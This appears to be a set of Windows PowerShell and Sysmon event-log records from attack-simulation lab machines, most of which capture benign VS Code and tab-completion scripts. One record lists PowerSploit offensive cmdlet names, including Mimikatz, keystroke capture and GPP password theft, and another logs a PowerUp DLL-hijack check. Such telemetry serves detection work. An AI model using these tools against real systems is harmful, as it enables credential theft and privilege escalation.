# Current working directory
# OSC 633 ; = ST
$Result += if ($pwd.Provider.Name -eq 'FileSystem') { "$([char]0x1b)]633;P;Cwd=$(__VSCode-Escape-Value $pwd.ProviderPath)`a" }
# Before running the original prompt, put $? back to what it was:
if ($FakeCode -ne 0) {
Write-Error "failure" -ea ignore
}
# Run the original prompt
$OriginalPrompt += $Global:__VSCodeOriginalPrompt.Invoke()
$Result += $OriginalPrompt
# Prompt
# OSC 633 ; = ST
if ($isStable -eq "0") {
$Result += "$([char]0x1b)]633;P;Prompt=$(__VSCode-Escape-Value $OriginalPrompt)`a"
}
# Write command started
$Result += "$([char]0x1b)]633;B`a"
$Global:__LastHistoryId = $LastHistoryEntry.Id
return $Result
}
# Only send the command executed sequence when PSReadLine is loaded, if not shell integration should
# still work thanks to the command line sequence
if (Get-Module -Name PSReadLine) {
$__VSCodeOriginalPSConsoleHostReadLine = $function:PSConsoleHostReadLine
function Global:PSConsoleHostReadLine {
$CommandLine = $__VSCodeOriginalPSConsoleHostReadLine.Invoke()
# Command line
# OSC 633 ; E ; ; ST
$Result = "$([char]0x1b)]633;E;"
$Result += $(__VSCode-Escape-Value $CommandLine)
# Only send the nonce if the OS is not Windows 10 as it seems to echo to the terminal
# sometimes
if ($IsWindows10 -eq $false) {
$Result += ";$Nonce"
}
$Result += "`a"
# Command executed
# OSC 633 ; C ST
$Result += "$([char]0x1b)]633;C`a"
# Write command executed sequence directly to Console to avoid the new line from Write-Host
[Console]::Write($Result)
$CommandLine
}
}
# Set IsWindows property
if ($PSVersionTable.PSVersion -lt "6.0") {
# Windows PowerShell is only available on Windows
[Console]::Write("$([char]0x1b)]633;P;IsWindows=$true`a")
}
else {
[Console]::Write("$([char]0x1b)]633;P;IsWindows=$IsWindows`a")
}
# Set ContinuationPrompt property
if ($isStable -eq "0") {
$ContinuationPrompt = (Get-PSReadLineOption).ContinuationPrompt
if ($ContinuationPrompt) {
[Console]::Write("$([char]0x1b)]633;P;ContinuationPrompt=$(__VSCode-Escape-Value $ContinuationPrompt)`a")
}
}
# Set always on key handlers which map to default VS Code keybindings
function Set-MappedKeyHandler {
param ([string[]] $Chord, [string[]]$Sequence)
try {
$Handler = Get-PSReadLineKeyHandler -Chord $Chord | Select-Object -First 1
}
catch [System.Management.Automation.ParameterBindingException] {
# PowerShell 5.1 ships with PSReadLine 2.0.0 which does not have -Chord,
# so we check what's bound and filter it.
$Handler = Get-PSReadLineKeyHandler -Bound | Where-Object -FilterScript { $_.Key -eq $Chord } | Select-Object -First 1
}
if ($Handler) {
Set-PSReadLineKeyHandler -Chord $Sequence -Function $Handler.Function
}
}
function Get-KeywordCompletionResult(
$Keyword,
$Description = $Keyword
) {
[System.Management.Automation.CompletionResult]::new($Keyword, $Keyword, [System.Management.Automation.CompletionResultType]::Keyword, $Description)
}
function Set-MappedKeyHandlers {
Set-MappedKeyHandler -Chord Ctrl+Spacebar -Sequence 'F12,a'
Set-MappedKeyHandler -Chord Alt+Spacebar -Sequence 'F12,b'
Set-MappedKeyHandler -Chord Shift+Enter -Sequence 'F12,c'
Set-MappedKeyHandler -Chord Shift+End -Sequence 'F12,d'
# Enable suggestions if the environment variable is set and Windows PowerShell is not being used
# as APIs are not available to support this feature
if ($env:VSCODE_SUGGEST -eq '1' -and $PSVersionTable.PSVersion -ge "7.0") {
Remove-Item Env:VSCODE_SUGGEST
# VS Code send completions request (may override Ctrl+Spacebar)
Set-PSReadLineKeyHandler -Chord 'F12,e' -ScriptBlock {
Send-Completions
}
# VS Code send global completions request
Set-PSReadLineKeyHandler -Chord 'F12,f' -ScriptBlock {
# Get commands, convert to string array to reduce the payload size and send as JSON
$commands = @(
[System.Management.Automation.CompletionCompleters]::CompleteCommand('')
Get-KeywordCompletionResult -Keyword 'begin'
Get-KeywordCompletionResult -Keyword 'break'
Get-KeywordCompletionResult -Keyword 'catch' -Description "catch [[][',' ]*] {}"
Get-KeywordCompletionResult -Keyword 'class' -Description @"
class [: [][,]] {
[[] [hidden] [static] ...]
[([])
{} ...]
[[] [hidden] [static] ...]
}
"@
Get-KeywordCompletionResult -Keyword 'clean'
Get-KeywordCompletionResult -Keyword 'continue'
Get-KeywordCompletionResult -Keyword 'data' -Description @"
data [] [-supportedCommand ] {
}
"@
Get-KeywordCompletionResult -Keyword 'do' -Description @"
do {} while ()
do {} until ()
"@
Get-KeywordCompletionResult -Keyword 'dynamicparam' -Description "dynamicparam {}"
Get-KeywordCompletionResult -Keyword 'else' -Description @"
if ()
{}
[elseif ()
{}]
[else
{}]
"@
Get-KeywordCompletionResult -Keyword 'elseif' -Description @"
if ()
{}
[elseif ()
{}]
[else
{}]
"@
Get-KeywordCompletionResult -Keyword 'end'
Get-KeywordCompletionResult -Keyword 'enum' -Description @"
[[]...] [Flag()] enum [ : ] {
[= 1]
[= 2]
[= 4]
[= 8]
...
}
"@
Get-KeywordCompletionResult -Keyword 'exit' -Description "exit []"
Get-KeywordCompletionResult -Keyword 'filter' -Description "filter [] {}"
Get-KeywordCompletionResult -Keyword 'finally' -Description "finally {}"
Get-KeywordCompletionResult -Keyword 'for' -Description @"
for (; ; )
{
}
"@
Get-KeywordCompletionResult -Keyword 'foreach' -Description "foreach ($- in $){}"
Get-KeywordCompletionResult -Keyword 'function' -Description @"
function [] [([type]`$parameter1[,[type]`$parameter2])]
{
begin {}
process {}
end {}
clean {}
}
"@
Get-KeywordCompletionResult -Keyword 'hidden'
Get-KeywordCompletionResult -Keyword 'if' -Description @"
if ()
{}
[elseif ()
{}]
[else
{}]
"@
Get-KeywordCompletionResult -Keyword 'in' -Description "foreach (`$
- in `$){}"
Get-KeywordCompletionResult -Keyword 'param' -Description "param (`$Parameter1)"
Get-KeywordCompletionResult -Keyword 'process'
Get-KeywordCompletionResult -Keyword 'return' -Description "return []"
Get-KeywordCompletionResult -Keyword 'static' -Description @"
class [: [][,]] {
[[] [hidden] [static] ...]
[([])
{} ...]
[[] [hidden] [static] ...]
}
"@
Get-KeywordCompletionResult -Keyword 'switch' -Description @"
Switch ()
{
{}
{}
}
"@
Get-KeywordCompletionResult -Keyword 'throw' -Description "throw []"
Get-KeywordCompletionResult -Keyword 'trap' -Description "trap [[]] {}"
Get-KeywordCompletionResult -Keyword 'try' -Description "try {}"
Get-KeywordCompletionResult -Keyword 'until' -Description "do {} until ()"
Get-KeywordCompletionResult -Keyword 'using' -Description @"
using module
using assembly <.NET-assembly-path>"@
Get-KeywordCompletionResult -Keyword 'while' -Description "while (){}"
)
$mappedCommands = Compress-Completions($commands)
$result = "$([char]0x1b)]633;CompletionsPwshCommands;commands;"
$result += $mappedCommands | ConvertTo-Json -Compress
$result += "`a"
Write-Host -NoNewLine $result
}
Set-PSReadLineKeyHandler -Chord 'F12,g' -ScriptBlock {
Import-Module "$PSScriptRoot\GitTabExpansion.psm1"
Remove-PSReadLineKeyHandler -Chord 'F12,g'
}
Set-PSReadLineKeyHandler -Chord 'F12,h' -ScriptBlock {
Import-Module "$PSScriptRoot\CodeTabExpansion.psm1"
Remove-PSReadLineKeyHandler -Chord 'F12,h'
}
}
}
function Send-Completions {
$commandLine = ""
$cursorIndex = 0
$prefixCursorDelta = 0
[Microsoft.PowerShell.PSConsoleReadLine]::GetBufferState([ref]$commandLine, [ref]$cursorIndex)
$completionPrefix = $commandLine
# Start completions sequence
$result = "$([char]0x1b)]633;Completions"
# If there is a space in the input, defer to TabExpansion2 as it's more complicated to
# determine what type of completions to use.
# `[` is included here as namespace commands are not included in CompleteCommand(''),
# additionally for some reason CompleteVariable('[') causes the prompt to clear and reprint
# multiple times
if ($completionPrefix.Contains(' ') -or $completionPrefix.Contains('[') -or $PSVersionTable.PSVersion -lt "6.0") {
# Adjust the completion prefix and cursor index such that tab expansion will be requested
# immediately after the last whitespace. This allows the client to perform fuzzy filtering
# such that requesting completions in the middle of a word should show the same completions
# as at the start. This only happens when the last word does not include special characters:
# - `/` and `\`: Completions change when navigating directories.
# - `$`: Completions change when variables.
$lastWhitespaceIndex = $completionPrefix.LastIndexOf(' ')
$lastWord = $completionPrefix.Substring($lastWhitespaceIndex + 1)
if ($lastWord -notmatch '[/\\$]') {
if ($lastWhitespaceIndex -ne -1 -and $lastWhitespaceIndex -lt $cursorIndex) {
$newCursorIndex = $lastWhitespaceIndex + 1
$completionPrefix = $completionPrefix.Substring(0, $newCursorIndex)
$prefixCursorDelta = $cursorIndex - $newCursorIndex
$cursorIndex = $newCursorIndex
}
}
# If it contains `/` or `\`, get completions from the nearest `/` or `\` such that file
# completions are consistent regardless of where it was requested
elseif ($lastWord -match '[/\\]') {
$lastSlashIndex = $completionPrefix.LastIndexOfAny(@('/', '\'))
if ($lastSlashIndex -ne -1 -and $lastSlashIndex -lt $cursorIndex) {
$newCursorIndex = $lastSlashIndex + 1
$completionPrefix = $completionPrefix.Substring(0, $newCursorIndex)
$prefixCursorDelta = $cursorIndex - $newCursorIndex
$cursorIndex = $newCursorIndex
}
}
# Get completions using TabExpansion2
$completions = $null
try
{
$completions = TabExpansion2 -inputScript $completionPrefix -cursorColumn $cursorIndex
}
catch
{
# TabExpansion2 may throw when there are no completions, in this case return an empty
# list to prevent falling back to file path completions
}
if ($null -eq $completions -or $null -eq $completions.CompletionMatches) {
$result += ";0;$($completionPrefix.Length);$($completionPrefix.Length);[]"
} else {
$result += ";$($completions.ReplacementIndex);$($completions.ReplacementLength + $prefixCursorDelta);$($cursorIndex - $prefixCursorDelta);"
$json = [System.Collections.ArrayList]@($completions.CompletionMatches)
# Relative directory completions
if ($completions.CompletionMatches.Count -gt 0 -and $completions.CompletionMatches.Where({ $_.ResultType -eq 3 -or $_.ResultType -eq 4 })) {
# Add `../ relative to the top completion
$firstCompletion = $completions.CompletionMatches[0]
if ($firstCompletion.CompletionText.StartsWith("..$([System.IO.Path]::DirectorySeparatorChar)")) {
if ($completionPrefix -match "(\.\.\$([System.IO.Path]::DirectorySeparatorChar))+") {
$parentDir = "$($matches[0])..$([System.IO.Path]::DirectorySeparatorChar)"
$currentPath = Split-Path -Parent $firstCompletion.ToolTip
try {
$parentDirPath = Split-Path -Parent $currentPath
$json.Add([System.Management.Automation.CompletionResult]::new(
$parentDir, $parentDir, [System.Management.Automation.CompletionResultType]::ProviderContainer, $parentDirPath)
)
} catch { }
}
}
# Add `.` and `..` to the completions list for results that only contain files and dirs
else {
$json.Add([System.Management.Automation.CompletionResult]::new(
'.', '.', [System.Management.Automation.CompletionResultType]::ProviderContainer, (Get-Location).Path)
)
$json.Add([System.Management.Automation.CompletionResult]::new(
'..', '..', [System.Management.Automation.CompletionResultType]::ProviderContainer, (Split-Path (Get-Location) -Parent))
)
}
}
# Add `-` and `+` as a completion for move backwards in location history. Unfortunately
# we don't set the path it will navigate to since the Set-Location stack is not public
# API https://github.com/PowerShell/PowerShell/issues/23860
if ($completionPrefix -eq "cd -") {
$json.Add([System.Management.Automation.CompletionResult]::new('-', '-', [System.Management.Automation.CompletionResultType]::ProviderContainer, "Navigate backwards in location history"))
}
if ($completionPrefix -eq "cd +") {
$json.Add([System.Management.Automation.CompletionResult]::new('+', '+', [System.Management.Automation.CompletionResultType]::ProviderContainer, "Navigate forwards in location history"))
}
$mappedCommands = Compress-Completions($json)
$result += $mappedCommands | ConvertTo-Json -Compress
}
}
# If there is no space, get completions using CompletionCompleters as it gives us more
# control and works on the empty string
else {
# If it contains `/` or `\`, get completions from the nearest `/` or `\` such that file
# completions are consistent regardless of where it was requested
if ($completionPrefix -match '[/\\]') {
$lastSlashIndex = $completionPrefix.LastIndexOfAny(@('/', '\'))
if ($lastSlashIndex -ne -1 -and $lastSlashIndex -lt $cursorIndex) {
$newCursorIndex = $lastSlashIndex + 1
$completionPrefix = $completionPrefix.Substring(0, $newCursorIndex)
$prefixCursorDelta = $cursorIndex - $newCursorIndex
$cursorIndex = $newCursorIndex
}
}
# Note that CompleteCommand isn't included here as it's expensive
$completions = $(
# Add trailing \ for directories so behavior aligns with TabExpansion2
[System.Management.Automation.CompletionCompleters]::CompleteFilename($completionPrefix) | ForEach-Object {
if ($_.ResultType -eq [System.Management.Automation.CompletionResultType]::ProviderContainer) {
[System.Management.Automation.CompletionResult]::new("$($_.CompletionText)$([System.IO.Path]::DirectorySeparatorChar)", "$($_.CompletionText)$([System.IO.Path]::DirectorySeparatorChar)", $_.ResultType, $_.ToolTip)
} else {
$_
}
}
([System.Management.Automation.CompletionCompleters]::CompleteVariable(''))
)
if ($null -ne $completions) {
$result += ";$($completions.ReplacementIndex);$($completions.ReplacementLength + $prefixCursorDelta);$($cursorIndex - $prefixCursorDelta);"
$mappedCommands = Compress-Completions($completions)
$result += $mappedCommands | ConvertTo-Json -Compress
} else {
$result += ";0;$($completionPrefix.Length);$($completionPrefix.Length);[]"
}
}
# End completions sequence
$result += "`a"
Write-Host -NoNewLine $result
}
function Compress-Completions($completions) {
$completions | ForEach-Object {
if ($_.CustomIcon) {
,@($_.CompletionText, $_.ResultType, $_.ToolTip, $_.CustomIcon)
}
elseif ($_.CompletionText -eq $_.ToolTip) {
,@($_.CompletionText, $_.ResultType)
} else {
,@($_.CompletionText, $_.ResultType, $_.ToolTip)
}
}
}
# Register key handlers if PSReadLine is available
if (Get-Module -Name PSReadLine) {
Set-MappedKeyHandlers
}
3efea156-98e0-4700-8118-b41e94a6e4fc C:\Users\domainadmin\.vscode\cli\servers\Stable-38c31bc77e0dd6ae88a4e9cc93428cc27a56ba40\server\out\vs\workbench\contrib\terminal\browser\media\shellIntegration.ps1
4104 1 5 2 15 0x0 102484 Microsoft-Windows-PowerShell/Operational SLABS-DC.snapattack.labs 1 1 Start-Process PowerShell -Verb RunAs; $malcmdlets = "Add-Persistence", "Find-AVSignature", "Get-GPPAutologon", "Get-GPPPassword", "Get-HttpStatus", "Get-Keystrokes", "Get-SecurityPackages", "Get-TimedScreenshot", "Get-VaultCredential", "Get-VolumeShadowCopy", "Install-SSP", "Invoke-CredentialInjection", "Invoke-DllInjection", "Invoke-Mimikatz", "Invoke-NinjaCopy", "Invoke-Portscan", "Invoke-ReflectivePEInjection", "Invoke-ReverseDnsLookup", "Invoke-Shellcode", "Invoke-TokenManipulation", "Invoke-WmiCommand", "Mount-VolumeShadowCopy", "New-ElevatedPersistenceOption", "New-UserPersistenceOption", "New-VolumeShadowCopy", "Out-CompressedDll", "Out-EncodedCommand", "Out-EncryptedScript", "Out-Minidump", "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord" 52364088-befa-46ad-979d-e7918d00bf8b
4104 1 3 2 15 0x0 255446 Microsoft-Windows-PowerShell/Operational arrakis.snapattack.labs 1 1
param($line, $lastWord)
& {
function Write-Members ($sep='.')
{
Invoke-Expression ('$_val=' + $_expression)
$_method = [Management.Automation.PSMemberTypes] `
'Method,CodeMethod,ScriptMethod,ParameterizedProperty'
if ($sep -eq '.')
{
$params = @{view = 'extended','adapted','base'}
}
else
{
$params = @{static=$true}
}
foreach ($_m in ,$_val | Get-Member @params $_pat |
Sort-Object membertype,name)
{
if ($_m.MemberType -band $_method)
{
# Return a method...
$_base + $_expression + $sep + $_m.name + '('
}
else {
# Return a property...
$_base + $_expression + $sep + $_m.name
}
}
}
# If a command name contains any of these chars, it needs to be quoted
$_charsRequiringQuotes = ('`&@''#{}()$,;|<> ' + "`t").ToCharArray()
# If a variable name contains any of these characters it needs to be in braces
$_varsRequiringQuotes = ('-`&@''#{}()$,;|<> .\/' + "`t").ToCharArray()
switch -regex ($lastWord)
{
# Handle property and method expansion rooted at variables...
# e.g. $a.b.
'(^.*)(\$(\w|:|\.)+)\.([*\w]*)$' {
$_base = $matches[1]
$_expression = $matches[2]
$_pat = $matches[4] + '*'
Write-Members
break;
}
# Handle simple property and method expansion on static members...
# e.g. [datetime]::n
'(^.*)(\[(\w|\.|\+)+\])(\:\:|\.){0,1}([*\w]*)$' {
$_base = $matches[1]
$_expression = $matches[2]
$_pat = $matches[5] + '*'
Write-Members $(if (! $matches[4]) {'::'} else {$matches[4]})
break;
}
# Handle complex property and method expansion on static members
# where there are intermediate properties...
# e.g. [datetime]::now.d
'(^.*)(\[(\w|\.|\+)+\](\:\:|\.)(\w+\.)+)([*\w]*)$' {
$_base = $matches[1] # everything before the expression
$_expression = $matches[2].TrimEnd('.') # expression less trailing '.'
$_pat = $matches[6] + '*' # the member to look for...
Write-Members
break;
}
# Handle variable name expansion...
'(^.*\$)([*\w:]+)$' {
$_prefix = $matches[1]
$_varName = $matches[2]
$_colonPos = $_varname.IndexOf(':')
if ($_colonPos -eq -1)
{
$_varName = 'variable:' + $_varName
$_provider = ''
}
else
{
$_provider = $_varname.Substring(0, $_colonPos+1)
}
foreach ($_v in Get-ChildItem ($_varName + '*') | sort Name)
{
$_nameFound = $_v.name
$(if ($_nameFound.IndexOfAny($_varsRequiringQuotes) -eq -1) {'{0}{1}{2}'}
else {'{0}{{{1}{2}}}'}) -f $_prefix, $_provider, $_nameFound
}
break;
}
# Do completion on parameters...
'^-([*\w0-9]*)' {
$_pat = $matches[1] + '*'
# extract the command name from the string
# first split the string into statements and pipeline elements
# This doesn't handle strings however.
$_command = [regex]::Split($line, '[|;=]')[-1]
# Extract the trailing unclosed block e.g. ls | foreach { cp
if ($_command -match '\{([^\{\}]*)$')
{
$_command = $matches[1]
}
# Extract the longest unclosed parenthetical expression...
if ($_command -match '\(([^()]*)$')
{
$_command = $matches[1]
}
# take the first space separated token of the remaining string
# as the command to look up. Trim any leading or trailing spaces
# so you don't get leading empty elements.
$_command = $_command.TrimEnd('-')
$_command,$_arguments = $_command.Trim().Split()
# now get the info object for it, -ArgumentList will force aliases to be resolved
# it also retrieves dynamic parameters
try
{
$_command = @(Get-Command -type 'Alias,Cmdlet,Function,Filter,ExternalScript' `
-Name $_command -ArgumentList $_arguments)[0]
}
catch
{
# see if the command is an alias. If so, resolve it to the real command
if(Test-Path alias:\$_command)
{
$_command = @(Get-Command -Type Alias $_command)[0].Definition
}
# If we were unsuccessful retrieving the command, try again without the parameters
$_command = @(Get-Command -type 'Cmdlet,Function,Filter,ExternalScript' `
-Name $_command)[0]
}
# remove errors generated by the command not being found, and break
if(-not $_command) { $error.RemoveAt(0); break; }
# expand the parameter sets and emit the matching elements
# need to use psbase.Keys in case 'keys' is one of the parameters
# to the cmdlet
foreach ($_n in $_command.Parameters.psbase.Keys)
{
if ($_n -like $_pat) { '-' + $_n }
}
break;
}
# Tab complete against history either # or #
'^#(\w*)' {
$_pattern = $matches[1]
if ($_pattern -match '^[0-9]+$')
{
Get-History -ea SilentlyContinue -Id $_pattern | Foreach { $_.CommandLine }
}
else
{
$_pattern = '*' + $_pattern + '*'
Get-History -Count 32767 | Sort-Object -Descending Id| Foreach { $_.CommandLine } | where { $_ -like $_pattern }
}
break;
}
# try to find a matching command...
default {
# parse the script...
$_tokens = [System.Management.Automation.PSParser]::Tokenize($line,
[ref] $null)
if ($_tokens)
{
$_lastToken = $_tokens[$_tokens.count - 1]
if ($_lastToken.Type -eq 'Command')
{
$_cmd = $_lastToken.Content
# don't look for paths...
if ($_cmd.IndexOfAny('/\:') -eq -1)
{
# handle parsing errors - the last token string should be the last
# string in the line...
if ($lastword.Length -ge $_cmd.Length -and
$lastword.substring($lastword.length-$_cmd.length) -eq $_cmd)
{
$_pat = $_cmd + '*'
$_base = $lastword.substring(0, $lastword.length-$_cmd.length)
# get files in current directory first, then look for commands...
$( try {Resolve-Path -ea SilentlyContinue -Relative $_pat } catch {} ;
try { $ExecutionContext.InvokeCommand.GetCommandName($_pat, $true, $false) |
Sort-Object -Unique } catch {} ) |
# If the command contains non-word characters (space, ) ] ; ) etc.)
# then it needs to be quoted and prefixed with &
ForEach-Object {
if ($_.IndexOfAny($_charsRequiringQuotes) -eq -1) { $_ }
elseif ($_.IndexOf('''') -ge 0) {'& ''{0}''' -f $_.Replace('''','''''') }
else { '& ''{0}''' -f $_ }} |
ForEach-Object {'{0}{1}' -f $_base,$_ }
}
}
}
}
}
}
}
82cdda22-5023-4544-8127-b099c4794e09
4104 1 5 2 15 0x0 2870899 Microsoft-Windows-PowerShell/Operational wks01-vm.lab3.localdomain 1 1 { Find-PathDLLHijack } 152f8789-a90f-46c0-8c12-83ec0d58eaee C:\Users\domuser.LAB3\Desktop\PowerUp.ps1
1 5 4 1 0 0x8000000000000000 113242 Microsoft-Windows-Sysmon/Operational Dev-Win10-1 - 2024-06-26 16:44:20.839 501694F9-4564-667C-AC12-000000002D00 8272 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.0.19041.546 (WinBuild.160101.0800) Windows PowerShell Microsoft® Windows® Operating System Microsoft Corporation PowerShell.EXE "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile -EncodedCommand UwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAnAEMAOgBcACcA C:\Windows\system32\ NT AUTHORITY\SYSTEM 501694F9-2DF8-667C-E703-000000000000 0x3e7 0 System MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7 501694F9-4561-667C-AB12-000000002D00 8584 C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{BD07DDB9-1C61-4DCE-9202-A2BA1757CDB2} NT AUTHORITY\SYSTEM